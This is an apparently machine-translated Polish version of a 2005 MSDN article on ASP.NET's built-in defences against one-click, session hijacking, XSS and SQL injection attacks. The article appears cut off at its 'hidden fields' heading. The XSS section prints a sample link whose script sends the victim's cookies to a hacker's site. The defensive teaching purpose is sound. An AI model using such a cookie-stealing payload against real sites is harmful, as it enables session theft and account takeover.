Udostępnij za pośrednictwem


Korzystanie z wbudowanych funkcji ASP.NET do odpierania ataków internetowych

 

Dino Esposito
Wintellect

Styczeń 2005 r.

Dotyczy
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Krótki opis: Dino podsumowuje najczęstsze typy ataków internetowych i opisuje, jak deweloperzy sieci Web mogą używać wbudowanych funkcji ASP.NET w celu zwiększenia bezpieczeństwa. (13 drukowanych stron)

Zawartość

Co ASP.NET deweloperzy powinni zawsze robić, skąd pochodzą zagrożenia
ViewStateUserKey
Pliki cookie i uwierzytelnianie
Przejęcie sesji
Enableviewstatemac
ValidateRequest
Perspektywa bazy danych
Ukryte pola
Wiadomości e-mail i spam
Podsumowanie
Powiązane zasoby

Co ASP.NET deweloperzy powinni zawsze robić

Jeśli czytasz ten artykuł, prawdopodobnie nie musisz wykładać o rosnącej ważności zabezpieczeń w aplikacjach internetowych. Prawdopodobnie szukasz praktycznych porad dotyczących implementowania zabezpieczeń w aplikacjach ASP.NET. Złą wiadomością jest to, że żadna platforma programistyjna — w tym ASP.NET — może zagwarantować, że będziesz pisać 100-procentowy bezpieczny kod po jego przyjęciu — który mówi, że po prostu leży. Dobra wiadomość, jeśli chodzi o ASP.NET, jest to, że ASP.NET, zwłaszcza w wersji 1.1 i nadchodzącej wersji 2.0, integruje szereg wbudowanych barier obronnych, gotowych do użycia.

Zastosowanie wszystkich tych funkcji nie wystarczy, aby chronić aplikację internetową przed wszystkimi możliwymi i przewidywalnymi atakami. Jednak w połączeniu z innymi technikami obronnymi i strategiami zabezpieczeń wbudowane funkcje ASP.NET tworzą zaawansowany zestaw narzędzi, aby zapewnić, że aplikacje działają w bezpiecznym środowisku.

Zabezpieczenia sieci Web to suma różnych czynników i wynik strategii, która wykracza daleko poza granice poszczególnych aplikacji, aby obejmować administrowanie bazami danych, konfigurację sieci, a także inżynierię społeczną i wyłudzanie informacji.

Celem tego artykułu jest zilustrowanie tego, co ASP.NET deweloperzy powinni zawsze robić, aby zachować rozsądnie wysoki poziom paska zabezpieczeń. To właśnie chodzi głównie o bezpieczeństwo — trzymać strażnika, nigdy nie czuć się całkowicie bezpiecznie i utrudniać złym facetom hack.

Zobaczmy, co ASP.NET ma do zaoferowania, aby uprościć pracę.

Skąd pochodzą zagrożenia

W tabeli 1 podsumowano najczęstsze typy ataków internetowych i wad w aplikacji, które mogą sprawić, że odniosą sukces.

Atak Możliwe przez . . .
Wykonywanie skryptów między witrynami (XSS) Niezaufane dane wejściowe użytkownika zwrócone do strony
Wstrzyknięcie kodu SQL Łączenie danych wejściowych użytkownika w celu utworzenia poleceń SQL
Przejęcie kontroli sesji Identyfikator sesji zgadywania i skradzione pliki cookie identyfikatora sesji
Jedno kliknięcie Nieświadome wpisy HTTP wysyłane za pośrednictwem skryptu
Manipulowanie ukrytym polem Niezaznaczone (i zaufane) ukryte pole wypchane poufnymi danymi

Tabela 1. Typowe ataki internetowe

Jakie są kluczowe fakty, które pochodzą z listy? Przynajmniej następujące trzy, powiedziałbym:

  • Za każdym razem, gdy wstawisz jakiekolwiek dane wejściowe użytkownika do znaczników przeglądarki, potencjalnie narażasz się na atak polegający na wstrzyknięciu kodu (wszelkie odmiany iniekcji SQL i XSS).
  • Dostęp do bazy danych musi być uzyskiwany bezpiecznie, czyli przy użyciu najmniejszego zestawu uprawnień, jaki kiedykolwiek jest możliwy dla kont i rozdzielania odpowiedzialności poszczególnych użytkowników za pośrednictwem ról.
  • Poufne dane nigdy nie powinny być wysyłane przez sieć (nie mówiąc już o postaci zwykłego tekstu) i muszą być bezpiecznie przechowywane na serwerze.

Warto zauważyć, że trzy punkty powyżej dotyczą trzech odrębnych aspektów zabezpieczeń sieci Web, z których kombinacja jest jedynym rozsądnym sposobem tworzenia pociskoodpornej i odpornej na naruszenia aplikacji. Aspekty zabezpieczeń sieci Web można podsumować w następujący sposób:

  • Praktyki kodowania: sprawdzanie poprawności danych, sprawdzanie długości typu i buforu, środki chroniące przed manipulowaniem
  • Strategie dostępu do danych: użyj ról, aby zapewnić najsłabsze możliwe konto, użyć procedur składowanych lub przynajmniej sparametryzowanych poleceń
  • Skuteczny magazyn i administracja: nie wysyłaj danych krytycznych do klienta, używaj kodów skrótów do wykrywania manipulacji, uwierzytelniania użytkowników i ochrony tożsamości, stosowania rygorystycznych zasad dotyczących haseł

Jak widać, bezpieczna aplikacja może wynikać tylko z połączonych wysiłków deweloperów, architektów i administratorów. Nie zakładaj, że możesz go uzyskać w inny sposób.

Podczas pisania ASP.NET aplikacji nie jesteś pozostawiony samodzielnie, aby walczyć z armią hakerów, uzbrojonych tylko w mózgi, umiejętności i palce do wpisywania wierszy kodu. ASP.NET 1.1 i nowszych pomaga w kilku konkretnych funkcjach, które wywołują automatyczne bariery przed niektórymi zagrożeniami wymienionymi powyżej. Przyjrzyjmy się im szczegółowo.

ViewStateUserKey

Wprowadzona z ASP.NET 1.1, ViewStateUserKey jest właściwością ciągu w klasie Page , z którą tylko niewielu deweloperów przyznaje się do znajomości. Dlaczego? Przeczytajmy, co ma do powiedzenia dokumentacja.

Przypisuje identyfikator do pojedynczego użytkownika w zmiennej stanu widoku skojarzonej z bieżącą stroną

Pomimo splotowego stylu zdanie jest dość jasne; ale czy można uczciwie powiedzieć, że wyjaśnia zamierzony cel nieruchomości? Aby zrozumieć rolę ViewStateUserKey, musisz przeczytać nieco dalej, dopóki nie dotrzesz do sekcji Uwagi .

Właściwość pomaga zapobiegać atakom jednym kliknięciem, dostarczając dodatkowe dane wejściowe w celu utworzenia wartości skrótu, która broni stanu widoku przed manipulowaniem. Innymi słowy, ViewStateUserKey znacznie utrudnia hakerom korzystanie z zawartości stanu widoku po stronie klienta w celu przygotowania złośliwych wpisów przeciwko witrynie. Do właściwości można przypisać dowolny ciąg niepusty, najlepiej identyfikator sesji lub identyfikator użytkownika. Aby lepiej zrozumieć znaczenie tej właściwości, krótko przejrzyjmy podstawy ataku jednym kliknięciem .

Atak jednym kliknięciem polega na opublikowaniu złośliwego formularza HTTP w znanej, podatnej na zagrożenia witrynie sieci Web. Nazywa się to "jednym kliknięciem", ponieważ zwykle zaczyna się od nieświadomej ofiary klikając trwałe łącze otrzymane za pośrednictwem poczty e-mail lub znalezione podczas nawigowania po zatłoczonym forum. Korzystając z linku, użytkownik przypadkowo wyzwala proces zdalny, który kończy się przesyłaniem złośliwego <formularza> do witryny. Bądź szczery: czy możesz powiedzieć, że nigdy nie śledziłeś linku takiego jak Kliknij tutaj, aby wygrać $1,000,000 tylko zobaczyć, co się stanie? Najwyraźniej nic złego ci się nie stało. Załóżmy, że jest to poprawne; Czy możesz powiedzieć to samo dla całej reszty społeczności sieci Web? Kto wie.

Aby odnieść sukces, atak jednym kliknięciem wymaga pewnych warunków w tle:

  • Osoba atakująca musi mieć dużą wiedzę na temat witryny podatnej na zagrożenia. Może się tak zdarzyć, ponieważ osoba atakująca "pilnie" studiowała plik lub dlatego, że jest wściekła wewnętrzna (na przykład zwolniony i nieuczciwy pracownik). Z tego powodu atak może być potencjalnie druzgocący.
  • Witryna musi używać plików cookie (lepiej, jeśli trwałe pliki cookie) w celu zaimplementowania logowania jednokrotnego, a osoba atakująca powinna otrzymać prawidłowy plik cookie uwierzytelniania.
  • Niektórzy użytkownicy witryny są zaangażowani w poufne transakcje.
  • Osoba atakująca musi mieć dostęp do strony docelowej.

Jak wspomniano, atak polega na przesłaniu złośliwego formularza HTTP do strony, która oczekuje formularza. W miarę potrzeby ta strona będzie zużywać opublikowane dane w celu wykonania niektórych poufnych operacji. Rozsądnie osoba atakująca wie dokładnie, jak będzie używane każde pole i może wymyślić niektóre sfałszowane wartości, aby osiągnąć swój cel. Zazwyczaj jest to atak ukierunkowany i trudno jest również śledzić z powodu trójkątnego handlu, który ustanawia — haker zachęca ofiarę do kliknięcia linku na stronie hakera, który z kolei opublikuje zły kod do trzeciej witryny. (Zobacz rysunek 1.)

ms972969.securitybarriers01(en-us,MSDN.10).gif

Rysunek 1. Atak jednym kliknięciem

Dlaczego nie podejrzewasz ofiary? Ponieważ w ten sposób dzienniki serwera pokazują, że adres IP, z którego pochodzi nieprawidłowe żądanie, to adres IP ofiary. Jak wspomniano, ten atak nie jest tak powszechny (i łatwy do zorganizowania) jak "klasyczny" XSS; jednak jego natura sprawia, że jest potencjalnie druzgocąca. Jakie jest lekarstwo na to? Przejrzyjmy mechanikę ataku w kontekście ASP.NET.

O ile akcja nie zostanie zakodowana w zdarzeniu Page_Load , nie ma możliwości, aby strona ASP.NET mogła wykonywać kod poufny poza zdarzeniem po powrocie. Aby zdarzenie zwrotne miało miejsce, pole stanu widoku jest obowiązkowe. Należy pamiętać, że ASP.NET sprawdza stan postawienia żądania i ustawia wartość IsPostBack odpowiednio na podstawie obecności pola wejściowego _VIEWSTATE. Dlatego każdy, kto chce wysłać fałszywe żądanie do strony ASP.NET, musi podać prawidłowe pole stanu widoku.

Aby atak jednym kliknięciem działał, haker musi mieć dostęp do strony. Kiedy tak się stało, daleko widziany haker uratował stronę lokalnie. Teraz może uzyskać dostęp do pola _VIEWSTATE i użyć go do utworzenia żądania ze starym stanem widoku i złośliwymi wartościami w innych polach. Pytanie brzmi, czy to zadziała?

Czemu nie? Jeśli osoba atakująca może podać prawidłowy plik cookie uwierzytelniania, haker dostaje się i żądanie jest regularnie przetwarzane. Zawartość stanu widoku nie jest w ogóle sprawdzana na serwerze (gdy element EnableViewStataMac jest wyłączony) lub jest sprawdzana tylko pod kątem manipulowania. Domyślnie nie ma żadnego stanu widoku, który łączy zawartość z określonym użytkownikiem. Osoba atakująca może łatwo użyć stanu widoku uzyskanego w celu uzyskania dostępu prawnego do strony w celu utworzenia fałszywego żądania w imieniu innego użytkownika. W tym miejscu mieści się parametr ViewStateUserKey .

W przypadku dokładnego wybrania właściwość dodaje informacje specyficzne dla użytkownika do stanu widoku. Po przetworzeniu żądania ASP.NET wyodrębnia klucz ze stanu widoku i porównuje go z elementem ViewStateUserKey strony uruchomionej. Jeśli dwa są zgodne, żądanie jest uznawane za uzasadnione; w przeciwnym razie zgłaszany jest wyjątek. Jaka jest prawidłowa wartość właściwości?

Ustawienie parametru ViewStateUserKey na ciąg stały — taki sam dla wszystkich użytkowników — jest podobne do pozostawienia go pustego. Należy ustawić go na coś, co różni się dla każdego użytkownika — identyfikator użytkownika lub, jeszcze lepiej, identyfikator sesji. Z wielu powodów technicznych i społecznych identyfikator sesji jest znacznie lepszy, ponieważ identyfikator sesji jest nieprzewidywalny, limit czasu i różni się w zależności od użytkownika.

Oto kod, który musisz mieć na wszystkich stronach:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Aby uniknąć ponownego zapisywania tego tekstu, możesz go przykręcać w metodzie wirtualnej OnInit klasy pochodnej strony. (Należy pamiętać, że należy ustawić tę właściwość w zdarzeniu Page.Init ).

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

Ogólnie rzecz biorąc, użycie klasy strony podstawowej jest zawsze dobrą rzeczą, jak wyjaśniam w moim artykule, Build Your ASP.NET Pages on a Richer Bedrock (Tworzenie stron ASP.NET na bogatszym bedrocku). Doskonałym artykułem dowiedzieć się więcej na temat taktyki ataków typu "jeden kliknięcie" można znaleźć w aspnetpro.com.

Pliki cookie i uwierzytelnianie

Pliki cookie istnieją, ponieważ mogą one pomóc deweloperom osiągnąć wyniki. Pliki cookie działają jako rodzaj trwałego połączenia między przeglądarką a serwerem. Szczególnie w przypadku aplikacji korzystających z logowania jednokrotnego skradziony plik cookie jest właśnie tym, co umożliwia atak. Jest to z pewnością przypadek ataków jednym kliknięciem.

Aby używać plików cookie, nie musisz jawnie tworzyć i odczytywać ich programowo. Pliki cookie są używane niejawnie, jeśli używasz stanu sesji i jeśli implementujesz uwierzytelnianie formularzy. Oczywiście, ASP.NET obsługuje stan sesji bez plików cookie i ASP.NET 2.0 wprowadza również uwierzytelnianie formularzy bez plików cookie. W teorii można więc używać tych funkcji bez używania plików cookie. Nie mówię, że nie musisz, ale jest to tylko jeden z przypadków, w których lekarstwo może być jeszcze gorsze niż choroba. Sesje bez plików cookie, w rzeczywistości, osadź identyfikator sesji w adresie URL, dzięki czemu są widoczne dla wszystkich.

Jakie są potencjalne problemy związane z używaniem plików cookie? Pliki cookie mogą zostać skradzione (czyli skopiowane na maszynę hakera) i zatrute (czyli wypełnione złośliwymi danymi). Te akcje są często preludium do ataku przychodzącego. W przypadku kradzieży pliki cookie uwierzytelniania "autoryzują" użytkowników zewnętrznych w celu nawiązania połączenia z aplikacją (i korzystają z chronionych stron) w twoim imieniu, potencjalnie umożliwiając hakerom szczęśliwie obejście autoryzacji i samodzielne wykonywanie dowolnych ról i ustawień zabezpieczeń, które umożliwiają ofiarie. Z tego powodu pliki cookie uwierzytelniania zwykle mają stosunkowo krótki okres istnienia — 30 minut. (Pamiętaj, że plik cookie wygasa, nawet jeśli sesja przeglądarki trwa dłużej). W przypadku kradzieży hakerzy mają 30-minutowe okno, aby spróbować ataku.

To okno można powiększyć, aby umożliwić użytkownikom zbyt częste logowanie się; należy pamiętać, że robisz to we własnym niebezpieczeństwie. W każdym przypadku należy unikać używania ASP.NET trwałych plików cookie. To sprawiłoby, że okres istnienia cookie praktycznie wieloletni, o ile 50 lat! Poniższy fragment kodu pokazuje, jak zmodyfikować wygaśnięcie pliku cookie w czasie wolnym.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Możesz użyć tego kodu we własnych formularzach logowania, aby dostosować okres istnienia plików cookie uwierzytelniania.

Porwanie sesji

Pliki cookie są również używane do pobierania stanu sesji dla określonego użytkownika. Identyfikator sesji jest przechowywany w pliku cookie, który podróżuje tam i z powrotem wraz z żądaniem i jest przechowywany na komputerze przeglądarki. Ponownie, jeśli skradziono plik cookie sesji może służyć do uzyskania hakera do systemu i uzyskania dostępu do stanu sesji innej osoby. Nie trzeba tego powiedzieć, może się to zdarzyć tak długo, jak określona sesja jest aktywna — zwykle nie więcej niż 20 minut. Atak przeprowadzony przez sfałszowany stan sesji jest znany jako przejęcie sesji. Aby uzyskać więcej informacji na temat porwania sesji, przeczytaj Theft On The Web: Prevent Session Hijacking (Kradzież w sieci Web: zapobieganie przejmowaniu sesji).

Jak niebezpieczny może być ten atak? Trudno powiedzieć. Zależy to od tego, co robi witryna sieci Web i, co ważniejsze, sposób projektowania jej stron. Załóżmy na przykład, że udało Ci się uzyskać plik cookie sesji innej osoby i dołączyć go do żądania do strony w witrynie. Strona jest ładowana i działa za pomocą zwykłego interfejsu użytkownika. Nie ma kodu, który można wstrzyknąć na stronie i nic na stronie, którą można zmienić, z wyjątkiem tego, że strona działa teraz przy użyciu stanu sesji innego użytkownika. Nie jest to złe dla se, ale może prowadzić hakerów prosto do udanego wykorzystania, o ile informacje w sesji są wrażliwe i krytyczne. Spójrz, haker nie może wsłuchić się w zawartość sklepu sesji, ale to, co jest przechowywane w nim, jest używane tak, jakby haker legalnie wszedł do niego. Załóżmy na przykład aplikację do handlu elektronicznego, w której użytkownicy dodają elementy do koszyka zakupów podczas przechodzenia przez witrynę.

  • Scenariusz nr 1. Zawartość koszyka jest przechowywana w stanie sesji. Jednak po wyewidencjonowania użytkownik jest proszony o potwierdzenie i wprowadzenie szczegółów płatności za pośrednictwem bezpiecznego połączenia SSL. W takim przypadku podłączanie stanu sesji innego użytkownika umożliwia hakerowi poznanie pewnych szczegółów dotyczących preferencji zakupowych ofiary. Nie ma żadnych szkód naprawdę wynika z porwania w tym kontekście. Tylko poufność jest zagrożona.
  • Scenariusz nr 2. Aplikacja obsługuje profil dla każdego zarejestrowanego użytkownika i przechowuje profil w stanie sesji. Niestety, profil (jak to może być w przypadku) zawiera informacje o karcie kredytowej. Dlaczego warto przechowywać szczegóły profilu użytkownika w sesji? Być może jednym z celów aplikacji jest ostatecznie uratowanie użytkowników przed wpisanie ich karty kredytowej i informacji bankowych na nowo. Więc po wyewidencjonowaniu aplikacja przechodzi do strony ze wstępnie wypełnionymi polami. Improvidently, jednym z tych pól jest numer karty kredytowej pobrany ze stanu sesji. Czy teraz można odgadnąć koniec historii?

Projekt strony aplikacji jest kluczem do zapobiegania atakom porwania sesji. Dwa punkty pozostają jednak otwarte. Po pierwsze, co można zrobić, aby zapobiec kradzieży plików cookie? Drugim jest to, co ASP.NET zrobić, aby wykryć i zablokować przejęcie?

Plik cookie sesji ASP.NET jest bardzo prosty i jest ograniczony do przechowywania jedynego ciągu identyfikatora sesji. Środowisko uruchomieniowe ASP.NET wyodrębnia identyfikator sesji z pliku cookie i sprawdza je względem aktywnych sesji. Jeśli identyfikator jest prawidłowy, ASP.NET łączy się z odpowiednią sesją i kontynuuje. To zachowanie znacznie upraszcza życie hakerów, którzy skradzili lub mogą odgadnąć prawidłowy identyfikator sesji.

XSS i ataki typu man-in-the-middle, a także brutalny dostęp do komputera klienckiego, to wszystkie sposoby uzyskania prawidłowego pliku cookie. Aby zapobiec kradzieżom, należy zaimplementować najlepsze rozwiązania w zakresie zabezpieczeń, aby zapobiec rozwiązaniom XSS i wszystkim jej odmianom, aby odnieść sukces.

Aby zapobiec odgadnięciu identyfikatora sesji, należy po prostu unikać nadmiernego zdobywania umiejętności. Zgadywanie identyfikatora sesji oznacza, że wiesz, jak przewidzieć prawidłowy ciąg identyfikatora sesji. Biorąc pod uwagę algorytm używany przez ASP.NET (15 losowych liczb mapowanych na znaki z obsługą adresu URL), szansa na odgadnięcie prawidłowego identyfikatora według prawdopodobieństwa zbliża się do zera. Nie ma powodu, dla którego mogę pomyśleć o zastąpieniu domyślnego generatora identyfikatorów sesji własnym. W wielu przypadkach ułatwiasz życie tylko osobom atakującym.

Co gorsza w przypadku porwania sesji jest to, że gdy plik cookie został skradziony lub zgadnięty, nie ma zbyt wiele ASP.NET może zrobić, aby wykryć fałszywe użycie pliku cookie. Ponownie przyczyną jest to, że ASP.NET ogranicza się do sprawdzania ważności identyfikatora i pytania o miejsce pochodzenia pliku cookie.

Mój wintellect pal Jeff Prosise napisał doskonały artykuł na temat porwania sesji dla MSDN Magazine. Jego wnioski oferują niewielki komfort — praktycznie nie można zbudować niezawodnej obrony przed atakami, które opierają się na skradzionych plikach cookie identyfikatorów sesji — ale kod, który opracował, oferuje inteligentną wskazówkę, aby podnieść pasek bezpieczeństwa jeszcze wyżej. Jeff utworzył moduł HTTP, który monitoruje przychodzące żądania i odpowiedzi wychodzące na potrzeby plików cookie identyfikatora sesji. Moduł dołącza kod skrótu do identyfikatorów sesji wychodzącej, które utrudniłyby osobie atakującej ponowne użycie tego pliku cookie. Szczegóły można znaleźć tutaj.

Enableviewstatemac

Stan widoku służy do utrwalania stanu kontrolek między dwoma kolejnymi żądaniami dla tej samej strony. Domyślnie stan widoku jest zakodowany w formacie Base64 i podpisany przy użyciu wartości skrótu, aby zapobiec manipulacji. Jeśli nie zmienisz domyślnych ustawień strony, stan widoku nie jest narażony na manipulowanie. Jeśli osoba atakująca modyfikuje stan widoku, a nawet jeśli ponownie skompiluje stan widoku przy użyciu odpowiedniego algorytmu, ASP.NET przechwytuje próbę i zgłasza wyjątek. Stan widoku naruszonego nie musi być szkodliwy — modyfikuje jednak stan kontroli serwera, ale może stać się pojazdem poważnych infekcji. Z tego powodu niezwykle ważne jest, aby domyślnie nie usuwać krzyżowego sprawdzania kodu uwierzytelniania komputera (MAC). Zobacz Rysunek 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Rysunek 2. Co sprawia, że stan widoku jest z natury odporny na naruszenia po włączeniu enabled EnableViewStateMac

Po włączeniu sprawdzania adresów MAC (czyli wartości domyślnej) stan serializowanego widoku jest dołączany wartość skrótu, która wynika z niektórych wartości po stronie serwera i klucza użytkownika stanu widoku, jeśli istnieje. Po ponownym zaksięgowania stanu widoku wartość skrótu jest obliczana ponownie przy użyciu nowych wartości po stronie serwera i w porównaniu z przechowywaną wartością. Jeśli te dwa elementy są zgodne, żądanie jest dozwolone; w przeciwnym razie zgłaszany jest wyjątek. Nawet zakładając, że haker ma umiejętności do złamania i odbudowania stanu widoku, musi znać wartości przechowywane przez serwer, aby wymyślić prawidłowy skrót. W szczególności haker musi znać klucz maszyny, do których odwołuje się < wpis machineKey> machine.config.

Domyślnie <wpis machineKey> jest automatycznie generowany i fizycznie przechowywany w lokalnym urzędzie zabezpieczeń systemu Windows (LSA). Tylko w przypadku farm sieci Web — gdy klucze maszyn stanu widoku muszą być takie same na wszystkich maszynach — należy określić go jako zwykły tekst w pliku machine.config.

Sprawdzanie stanu wyświetlania adresu MAC jest kontrolowane za pomocą atrybutu dyrektywy @Page o nazwie EnableViewStateMac. Jak wspomniano, jest ona domyślnie ustawiona na wartość true. Nigdy go nie wyłączaj; umożliwiłoby to wyświetlenie stanu manipulowania atakami jednym kliknięciem i z dużymi szansami na sukces.

ValidateRequest

Obsługa skryptów między witrynami (XSS) to stary znajomy dla wielu doświadczonych deweloperów sieci Web — to już od 1999 roku. Mówiąc prościej, XSS wykorzystuje dziury w kodzie, aby wprowadzić kod wykonywalny hakera do sesji przeglądarki innego użytkownika. Wykonany, wstrzyknięty kod może wykonywać różne akcje — pobierać pliki cookie i przekazywać kopię do kontrolowanej przez hakera witryny sieci Web, monitorować sesję internetową użytkownika i przekazywać dane, modyfikować zachowanie i wygląd strony zhakowanej, podając nieprawidłowe informacje, nawet sprawić, że przy następnym powrocie użytkownika na stronę, oszukańczy kod zostanie uruchomiony ponownie. Przeczytaj więcej szczegółowych informacji na temat podstaw ataku XSS w artykule TechNet Cross-site Scripting Overview (Omówienie skryptów między witrynami).

Jakie luki w kodzie umożliwiają ataki XSS?

Usługa XSS wykorzystuje aplikacje internetowe, które dynamicznie generują strony HTML i nie weryfikują danych wejściowych, które są odzwierciedlane na stronie. Tutaj dane wejściowe oznaczają zawartość ciągów zapytania, plików cookie i pól formularza. Jeśli ta zawartość przejdzie do trybu online bez odpowiednich kontroli poprawności, istnieje ryzyko, że hakerzy mogą manipulować nim w celu wykonania złośliwego skryptu w przeglądarkach klienta. (W końcu wspomniany atak jednym kliknięciem jest niedawną odmianą XSS). Typowy atak XSS wiąże się z tym, że nie podejrzewający użytkownik podąża za przynętą linku, który osadza kod skryptu ucieczki. Fałszywy kod jest wysyłany do strony podatnej na zagrożenia, która z ufnie go wyprowadza. Oto przykład tego, co może się zdarzyć:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

Użytkownik klika najwyraźniej bezpieczny link i kończy się przekazaniem do strony podatnej na zagrożenia fragment kodu skryptu, który najpierw pobiera wszystkie pliki cookie na maszynie użytkownika, a następnie wysyła je do strony w witrynie internetowej hakera.

Należy pamiętać, że XSS nie jest problemem specyficznym dla dostawcy i niekoniecznie wykorzystuje dziury w programie Internet Explorer. Ma to wpływ na każdy serwer sieci Web i przeglądarkę obecnie na rynku. Jeszcze ważniejsze, należy pamiętać, że nie ma jednej poprawki, aby ją naprawić. Z pewnością możesz chronić strony przed XSS. W tym celu należy zastosować określone miary i odpowiednie praktyki kodowania. Ponadto należy pamiętać, że osoba atakująca nie potrzebuje użytkownika do kliknięcia linku w celu rozpoczęcia ataku.

Aby bronić się przed XSS, musisz przede wszystkim określić, które dane wejściowe są prawidłowe i odrzucić wszystkie pozostałe. Szczegółową listę kontrolną dotyczącą udaremniania ataków XSS można znaleźć w książce, która jest wymaganą lekturą w firmie Microsoft — Pisanie bezpiecznego kodu autorstwa Michaela Howarda i Davida LeBlanca. W szczególności proponuję uważnie przyjrzeć się rozdziałowi 13.

Podstawowym sposobem udaremnienia podstępnych ataków XSS jest dodanie dobrze wykonanej i solidnej warstwy weryfikacji do danych wejściowych — dowolnego typu danych wejściowych. Istnieją na przykład okoliczności , w których nawet inny nieużywny kolor — potrójny RGB — może spowodować, że skrypt nie jest kontrolowany bezpośrednio na stronie.

W ASP.NET 1.1 po włączeniu atrybut ValidateRequest w dyrektywie @Page sprawdza, czy użytkownicy nie wysyłają potencjalnie niebezpiecznych znaczników HTML w ciągach zapytań, plikach cookie lub polach formularza. Jeśli zostanie to wykryte, zostanie zgłoszony wyjątek i żądanie przerwane. Atrybut jest domyślnie włączony; nie musisz nic robić, aby być chronionym. Jeśli chcesz zezwolić na przekazywanie znaczników HTML, musisz go aktywnie wyłączyć.

<%@ Page ValidateRequest="false" %>

ValidateRequestnie jest srebrnym punktorem i nie może zastąpić efektywnej warstwy walidacji. Przeczytaj tutaj , aby uzyskać wiele cennych informacji na temat tego, jak funkcja naprawdę działa pod maską. Zasadniczo stosuje wyrażenie regularne w celu przechwycenia kilku potencjalnie szkodliwych sekwencji.

Uwaga Funkcja ValidateRequest była pierwotnie wadliwa; należy zastosować poprawkę , aby działała zgodnie z oczekiwaniami. Jest to cenne informacje, które często przeszły niezauważone. Co dziwne, sam znalazłem jedną z moich maszyn nadal dotkniętych wadą. Wypróbuj to!

Nie ma powodu, aby nie przechowywać funkcji ValidateRequest . Możesz go wyłączyć, ale musisz mieć bardzo dobry powód; jednym z nich może być wymóg użytkownika dotyczący możliwości opublikowania kodu HTML w witrynie w celu uzyskania lepszych opcji formatowania. W takim przypadku należy ograniczyć liczbę dozwolonych tagów HTML (<pre>, <b>, <i, p>>,<<br>, <hr>) i napisać wyrażenie regularne, które gwarantuje, że nic innego nie jest dozwolone lub akceptowane.

Oto kilka dodatkowych wskazówek, które pomagają chronić aplikacje ASP.NET przed XSS:

  • Użyj metody HttpUtility.HtmlEncode , aby przekonwertować niebezpieczne symbole na ich reprezentację HTML.
  • Używaj cudzysłowów podwójnych zamiast pojedynczych cudzysłowów, ponieważ kodowanie HTML tylko unika podwójnych cudzysłowów.
  • Wymuś stronę kodową, aby ograniczyć liczbę znaków, których można użyć.

Podsumowując, należy użyć atrybutu ValidateRequest , ale nie ufaj w pełni i nie jest zbyt leniwy. Poświęć trochę czasu, aby zrozumieć zagrożenia bezpieczeństwa, takie jak XSS, i zaplanować strategię defensywną skoncentrowaną na jednym kluczowym punkcie — rozważ wszystkie dane wejściowe użytkowników.

Perspektywa bazy danych

Iniekcja SQL to kolejny dobrze znany typ ataku, który wykorzystuje aplikacje korzystające z niefiltrowanych danych wejściowych użytkownika w celu utworzenia poleceń bazy danych. Jeśli aplikacja błogo używa typów użytkowników w polu formularza do utworzenia ciągu polecenia SQL, naraża cię na ryzyko, że złośliwy użytkownik może po prostu uzyskać dostęp do strony i wprowadzić fałszywe parametry, aby zmodyfikować charakter zapytania. Więcej informacji o wstrzyknięciu kodu SQL można znaleźć tutaj.

Istnieje wiele sposobów, na które można udaremnić atak polegający na wstrzyknięciu kodu SQL. Poniżej przedstawiono najbardziej typowe techniki.

  • Upewnij się, że wszystkie dane wejściowe użytkownika mają odpowiedni typ i są zgodne z oczekiwanym wzorcem (kod pocztowy, SSN, adres e-mail). Jeśli oczekujesz liczby z pola tekstowego, zablokuj żądanie, jeśli użytkownik wprowadzi coś, czego nie można przekonwertować na liczbę.
  • Używaj sparametryzowanych zapytań lub, jeszcze lepiej, procedur składowanych.
  • Użyj SQL Server uprawnień, aby ograniczyć możliwości, które każdy użytkownik może wykonać w bazie danych. Możesz na przykład wyłączyć xp_cmdshell lub ograniczyć ją do administratorów.

Jeśli używasz procedury składowanej, znacznie zmniejszysz obszar narażony na ataki. W rzeczywistości w przypadku procedur składowanych nie trzeba dynamicznie tworzyć ciągów SQL. Ponadto wszystkie parametry są weryfikowane w SQL Server względem określonych typów. Chociaż ta sama technika nie jest 100-procentową bezpieczną techniką, w połączeniu z walidacją zapewni ci większe bezpieczeństwo.

Jeszcze ważniejsze jest zapewnienie, że tylko autoryzowani użytkownicy wykonują potencjalnie druzgocące operacje, takie jak usuwanie tabel. Wymaga to starannego projektowania warstwy środkowej aplikacji. Dobrą techniką, a nie tylko ze względu na bezpieczeństwo, jest skupienie się na rolach. Grupujesz użytkowników w rolach i definiujesz konto dla każdej roli z najmniejszym zestawem uprawnień.

Kilka tygodni temu witryna internetowa Wintellect została zaatakowana przez wyrafinowaną formę wstrzyknięcia kodu SQL. Haker próbował utworzyć i uruchomić skrypt FTP, aby pobrać plik wykonywalny (złośliwy?). To było nasze szczęście, że atak nie powiódł się. Czy była to raczej silna weryfikacja danych wejściowych, użycie procedur składowanych i użycie uprawnień SQL Server, które uniemożliwiły działanie ataku?

Podsumowując, postępuj zgodnie z tymi wytycznymi, aby uniknąć niepożądanych iniekcji kodu SQL:

  • Uruchom polecenie z najmniejszymi uprawnieniami i nigdy nie wykonuj kodu jako "sa".
  • Ogranicz dostęp do wbudowanych procedur składowanych.
  • Faworyzowanie zapytań sparametryzowanych SQL.
  • Nie kompiluj instrukcji za pomocą łączenia ciągów i nie powtarzaj błędów bazy danych.

Ukryte pola

